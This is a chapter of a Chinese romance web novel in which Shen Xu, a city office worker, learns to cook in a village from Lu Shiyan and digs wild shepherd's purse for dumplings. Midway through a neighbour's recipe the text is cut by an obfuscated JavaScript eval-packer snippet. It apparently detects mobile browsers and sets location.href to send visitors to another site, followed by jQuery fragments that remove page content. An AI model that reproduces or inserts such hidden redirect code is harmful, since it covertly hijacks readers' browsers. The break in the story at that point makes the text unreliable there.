沈叙做了一个梦。
梦里他还在那间十二平的出租屋里，隔壁打游戏的声音震天响，楼上洗澡的水声哗啦啦，窗外摩托车轰隆隆地过去。他躺在床上，怎么也睡不着，数羊数到三千只，越数越清醒。
然后他就听见一声鸡叫，猛地睁开眼。入目是木头房梁，蓝格子床单，窗外有棵老槐树，阳光从树叶缝隙里漏下来，在墙上晃成一片碎金。
他愣了两秒，才想起来自己在哪儿，摸过手机一看——五点五十五分。
沈叙躺了两秒，认命地爬起来。
穿衣服的时候他犹豫了一下。他带来的全是西装，昨天那套已经沾了油烟，剩下两套干净的，一套深灰一套藏青。他想了想，选了深灰那套，毕竟要学做饭，藏青的万一溅上油渍更明显。
对着镜子看了看，头发有点乱，眼镜有点歪，脸色还是有点白，但比刚来那天好一点——可能是在村里睡了一觉的关系。
他推开门走出去。
清晨的空气扑面而来，凉丝丝的，带着一股青草和露水的味道。院子里的鸡们已经起来了，正围在食盆前开会。墙角的村霸还在睡，把自己缩成一大团白色的毛球，脑袋插在翅膀里，看着居然有点……可爱？
沈叙刚冒出这个念头，村霸忽然睁开一只眼睛。
依旧四目相对。
那只眼睛里写满了：你刚才是不是在想什么失礼的事？
沈叙默默移开视线。
厨房里亮着灯，有轻微的响动。他走过去，掀开门帘，看见陆时砚正背对着他切菜。
清晨的阳光从窗户照进来，给他的侧影镀了一层淡金色。他穿着件旧T恤，袖子挽到手肘，露出线条利落的小臂。切菜的动作不紧不慢，刀起刀落，案板上的黄瓜变成均匀的薄片。
沈叙站在门口，忽然不知道该不该出声。陆时砚头也不回：“站着干什么？进来。”
走进去，发现灶台上已经煮着粥了，咕嘟咕嘟地冒着热气。案板上除了黄瓜，还有切好的葱花、打散的鸡蛋、几瓣拍好的蒜。
陆时砚把刀放下，回头看他。目光落在他身上那套深灰色西装上，顿了一顿。
沈叙被他看得有点心虚：“……怎么了？”
陆时砚沉默了两秒，说：“你就穿这个学做饭？”
沈叙低头看看自己，忽然意识到问题所在。
西装。
做饭。
油。
他张了张嘴：“我只有西装。”
陆时砚又沉默了。
那眼神在说：你是认真的吗？
但他什么也没说，只是转身走到角落里，从一个旧柜子里翻出一件东西，扔给沈叙。
沈叙接住一看——是一件洗得发白的蓝布围裙，前面有个大口袋，系带是两根布条，看着像是自己做的。
陆时砚说：“穿上。别把我给你的工资都赔在干洗费上。”
沈叙把围裙抖开，往身上套。系带在背后绕了两圈，打了个死结。陆时砚看着他费劲的样子，叹了口气，绕到他身后，把那死结解开，重新系了一个蝴蝶结。
沈叙僵在原地，他能感觉到陆时砚的手指隔着布料碰到他的后背，轻轻的，很快就收回去。
“行了。”陆时砚回到灶台前，“过来，先学打鸡蛋。”
沈叙走过去，站在他旁边，陆时砚拿过一个鸡蛋，在碗沿上一磕，两手一掰，蛋清蛋黄稳稳地落进碗里，整个过程行云流水，不到两秒。
沈叙看着那个完整的蛋黄，觉得好像也不是很难。他拿起一个鸡蛋，学着陆时砚的样子，在碗沿上一磕。用力过猛，鸡蛋壳碎了一地，蛋液顺着他的手流下来，糊了他一手。
沈叙：“……”
陆时砚递过来一块抹布，沈叙擦完手，又拿起第二个鸡蛋。
这次他放轻了力道，磕了一下，没磕开。又磕一下，还是没磕开。他加大力度磕第三下——“啪”，壳又碎了，蛋液再次糊了一手。
陆时砚在旁边看着，什么也没说，又什么都说了。
沈叙不信邪，又拿起第三个。
这次他仔细研究了碗沿的角度、磕的力度、掰开的手法，然后——
蛋壳没碎，鸡蛋被他捏爆了。
蛋液从指缝里流下来，滴在地上，滴在围裙上，滴在他那双擦得锃亮的皮鞋上。
沈叙看着自己的手，陷入了沉思。陆时砚递过来另一块抹布，顺便把装鸡蛋的篮子往远处挪了挪。
等沈叙收拾干净，篮子里只剩下三个鸡蛋了。陆时砚把它们全拿过去，单手打蛋，三秒三个，三个完整的蛋黄在碗里挤成一堆。
他把碗推给沈叙：“搅散。”
沈叙这次学聪明了，先问：“用什么搅？”陆时砚递给他一双筷子。
沈叙接过筷子，开始搅蛋。他搅得很认真，很用力，筷子在碗里飞快地转动，蛋液被他搅得四处飞溅。
陆时砚按住他的手：“轻一点。”他的手比陆时砚的大一圈，骨节分明，此刻正被轻轻按着，动弹不得。
沈叙愣了一下，反应过来时陆时砚已经松开手，示范给他看：“这样，慢慢搅，匀了就行，不用打高尔夫。”
沈叙学着他的样子，慢慢搅，这次没再飞溅。陆时砚满意地点点头，转身去切别的菜。
沈叙一边搅蛋，一边偷偷看他。
清晨的阳光里，他的侧脸看起来比昨天更柔和一点。切菜的动作还是那么不紧不慢，好像这世上没有什么事能让他着急。
沈叙忽然想起昨晚他说“我刚开始拍视频的时候，连对焦都对不准”。
他想象不出这个人手忙脚乱的样子。
“搅好了。”沈叙把碗递过去。
陆时砚看了一眼，点点头：“还行。下一步，热锅倒油。”
沈叙走到灶前，打开火，往锅里倒油。陆时砚在旁边说：“油热了就把蛋液倒进去，用锅铲推，不要翻。”
沈叙盯着锅里的油，等着它热起来。看着油面开始波动，看着有一点点烟冒起来，然后把蛋液倒了进去。
“刺啦”一声，蛋液在油里迅速膨胀，边缘开始冒泡。沈叙拿起锅铲，按照陆时砚说的，从边缘往里推。
蛋液在他手下慢慢凝固，变成一大块金黄色的蛋饼，香气扑鼻。
沈叙愣住了。
这居然成功了？
他看向陆时砚，眼睛亮亮的：“我成功了？”
陆时砚看了一眼锅里那块蛋饼，沉默了两秒，然后说：“把它弄碎，盛出来。”
沈叙用锅铲把蛋饼戳碎，盛进碗里。虽然碎块大小不一，但确实是熟了，确实是金黄色，确实闻起来很香。
他端起来闻了闻，被烫了一下。陆时砚把碗接过去放在一边，又开始教他炒下一个菜。
接下来的一个小时，沈叙学会了炒鸡蛋（虽然卖相一般），学会了炒青菜（盐还是放多了，但比昨天强），学会了煮粥（水放多了，但陆时砚说“粥就是稀的，没关系”）。
等两人坐下来吃饭的时候，已经快八点了。早饭是沈叙参与做的：白粥、炒鸡蛋、炒青菜、还有陆时砚昨晚腌的萝卜条。
沈叙尝了一口自己炒的鸡蛋。
咸了。
他又尝了一口自己炒的青菜。
也咸了。
他默默低头喝粥。
陆时砚坐在对面，吃得慢条斯理，把那一盘咸得能齁死人的炒鸡蛋一口一口吃完了。沈叙看着空盘子，忽然说：“你其实可以不用吃的。”
陆时砚抬眼看他：“嗯？”
沈叙：“太咸了。我知道。”
陆时砚放下筷子，喝了口粥，然后说：“你第一次做成这样，不错了。”
沈叙愣了一下。
陆时砚又说：“我小时候第一次做饭，把锅烧穿了。”
沈叙想象了一下那个画面，没忍住笑出来。陆时砚看着他笑，嘴角也弯了一点。
吃完饭，沈叙抢着洗碗。这次他洗得很小心，一个都没打碎。
洗完碗出来，他发现陆时砚正在院子里摆弄设备。一台相机，一个三脚架，几个镜头，整整齐齐地排在地上。
沈叙走过去：“今天要拍视频？”
陆时砚点点头：“嗯。素材不够了，得补一些。”
沈叙蹲下来看那些设备。相机是他认识的那个牌子，但他对型号一窍不通。镜头有大有小，有的上面印着红圈，有的没有。
陆时砚看他看得认真，问：“懂这个？”
沈叙摇头：“不懂。以前只见过同事的，他们拿这个拍开箱视频。”
陆时砚拿起最小的那个镜头，装到相机上，然后递给沈叙：“拿着试试。”
沈叙接过相机，沉甸甸的，比他想象的重。他把眼睛凑到取景器上，对准院子里的那棵老槐树。
镜头里，阳光从树叶缝隙里漏下来，每一片叶子都在发光。
他按了一下快门。
“咔嚓”一声，画面定格。
陆时砚走过来，看了一眼相机屏幕，说：“还行。”
沈叙不知道这个“还行”是什么意思，但听他的语气，应该不是坏事。
陆时砚把相机接过去，调了几个参数，又递给他：“再拍一张。”
沈叙再次对准老槐树。
这次镜头里的颜色更深了一点，光影对比更强烈，那些漏下来的阳光好像变成了液体，在叶子上流淌。
他又按了一下快门。
陆时砚看了一会儿，忽然问：“想学吗？”
沈叙抬头看他。
陆时砚指了指相机：“拍视频。想学的话，我教你。”
沈叙愣了一秒，然后说：“想。”
陆时砚点点头，把相机收起来：“那以后拍视频你跟着。先从拿反光板开始。”沈叙不知道反光板是什么，但他点了头。
两人正说着，院门口传来一阵脚步声，紧接着是李大妈的大嗓门：“小陆！小陆在家吗？”
陆时砚站起来：“在。”
李大妈提着一篮子东西进来，看到沈叙，眼睛一亮：“哟，小沈也在啊！正好正好！”
她把篮子往地上一放，里面是满满一篮子的野菜，绿油油的，还带着露水。
“刚挖的荠菜，给你们送点来！”李大妈拍拍手上的泥，“小沈啊，你会包饺子不？”
沈叙老实摇头：“不会。”
李大妈愣了一下，然后笑起来：“不会好啊！不会就得学！来来来，大妈教你！”
沈叙看向陆时砚，眼神里带着一丝求救的意味。陆时砚面无表情地看着他，那表情分明在说：你自己应付。
然后就真的转身进屋了。
沈叙：“……”
李大妈已经拉着他在院子里坐下，开始讲荠菜饺子的前世今生：“这荠菜啊，得挑嫩的，老的嚼不动。洗干净，焯水，剁碎，和肉馅拌一起，加点葱姜末，加点盐，加点香油，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305517|198711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
搅拌的时候要顺着一个方向……”
沈叙听得头昏脑涨，但还是一边点头一边记。李大妈讲完，拍拍他的手：“下午你来包，包好了叫我，我帮你尝！”
沈叙还没来得及说话，李大妈已经站起来走了，走得风风火火，留下一篮子荠菜和一个一脸茫然的他。
陆时砚不知道什么时候又出来了，靠在门框上，嘴角带着一丝若有若无的笑意。
沈叙看着他：“你故意的？”
陆时砚没否认，只是说：“你不是要学吗？先从荠菜开始。”
沈叙低头看着那篮子荠菜，忽然觉得李大妈那句“不会好啊”好像不是真心的。他蹲下来，拿起一棵荠菜看了看。叶子嫩绿，根须带着泥，闻起来有一股清香。
他忽然想起一件事，抬头问陆时砚：“荠菜长什么样？我是说，在地里长的时候，怎么认？”
陆时砚走过来，蹲在他旁边，从那篮子里挑出一棵最大的，指给他看：“这个就是。叶子是这样的，边缘有锯齿，开花是白的。”
沈叙认真地看着，努力把那形状记在脑子里。陆时砚又说：“地里现在还有，想认的话，下午带你去挖。”
沈叙抬头看他，眼睛又亮了：“可以吗？”
陆时砚站起来，拍了拍手上的土：“反正是你的饺子。”
沈叙愣了一下，才反应过来他的意思是：你去挖，挖回来你包，包完你吃。
但他还是笑了。
中午吃完饭，两人一人拿一把小铲子，提着一个竹篮子，往村外走。村霸跟在后面，保持着两米的距离。
沈叙回头看了它一眼。
村霸也看着他，眼神里写着：看什么看，这是我的地盘。
沈叙转回头，决定无视。
穿过村子，走过一条田埂，眼前是一片开阔的野地。春天正是万物生长的季节，地里密密麻麻长满了各种植物，绿的黄的紫的，挤挤挨挨。
沈叙看着这一片绿海，两眼一抹黑：“哪个是荠菜？”
陆时砚蹲下来，随手一指：“这个。”
沈叙凑过去看。那棵草和旁边的草长得差不多，叶片边缘确实有锯齿，但和旁边那些锯齿的好像也没太大区别。
陆时砚又指了另一棵：“这个是蒲公英。”
再指一棵：“这个是苦菜。”
再指一棵：“这个是毒芹，不能吃。”
沈叙看着那棵“不能吃”的，默默往后退了一步。
陆时砚看他那样，嘴角又弯了一点：“不用怕，你只要记住荠菜长什么样就行。”
他开始教沈叙怎么认荠菜：叶子是羽状分裂的，摸起来有点粗糙，闻起来有一股清香，根是白的，带一点点甜味。
沈叙蹲在他旁边，一棵一棵地看，一棵一棵地闻，一棵一棵地摸。
阳光晒在背上，暖洋洋的。有风吹过来，野草和野菜一起摇晃，分不清谁是谁。远处有鸟在叫，近处有虫在鸣，村霸不知道什么时候已经趴在地头晒太阳了，把自己摊成一张白色的饼。
沈叙忽然想，他以前在公司的时候，中午在干什么？
好像是在工位上吃外卖，一边吃一边回消息，吃完继续改方案。
他从来没在中午的时候，蹲在一片野地里，学认什么荠菜。
“这棵是。”陆时砚的声音把他拉回来。
沈叙低头一看，陆时砚指着一棵看起来平平无奇的草。他凑近了闻，确实有一股清香。
他试着用小铲子挖下去，土有点硬，铲子不太好使，他费了半天劲，把那棵荠菜挖出来，根断了，叶子也散了几片。
举着那棵残破的荠菜，看向陆时砚，对方看了一眼，说：“还行。继续。”
沈叙又蹲下去找下一棵。
这次他找到一棵大的，小心翼翼地下铲子，慢慢松土，最后整棵挖出来，根完好，叶子完整。
他把那棵荠菜举起来，像举着一个战利品。
陆时砚点点头：“有进步。”
沈叙弯着眼睛笑了。
下午的阳光从头顶慢慢西斜，篮子里的荠菜越堆越多。沈叙的手上全是泥，膝盖上也是泥，但他一点也没觉得累。
村霸不知道什么时候醒了，慢悠悠地走过来，凑到篮子边闻了闻。然后它抬起头，看着沈叙，眼神里写满了：就这？
沈叙和它对视了两秒，忽然把手上的泥往它身上甩了一下。
村霸“嘎”的一声跳开，羽毛都炸起来了，瞪着他，满脸的不可置信。
沈叙乐了。
陆时砚在旁边看着这一幕，没说话，但嘴角的弧度明显大了。
太阳快落山的时候，他们提着满满一篮子荠菜往回走。村霸跟在后面，和沈叙保持着至少三米的距离。
夕阳把整片田野染成金黄色，远处的山影被拉得很长。有炊烟升起来了，飘散在暮色里。
沈叙忽然想起一件事：“对了，那个饺子……怎么包？”
陆时砚脚步顿了顿，回头看他。
沈叙一脸真诚：“你教我吗？”
陆时砚沉默了两秒，然后说：“我只会吃。”
沈叙愣住。
陆时砚接着说：“所以今晚的饺子，你得自己研究。”
沈叙低头看着那一篮子荠菜，又抬头看看越来越暗的天色，忽然觉得李大妈那句“包好了叫我”好像另有深意。
村霸在后面“嘎”了一声，这次听起来很像是在笑他。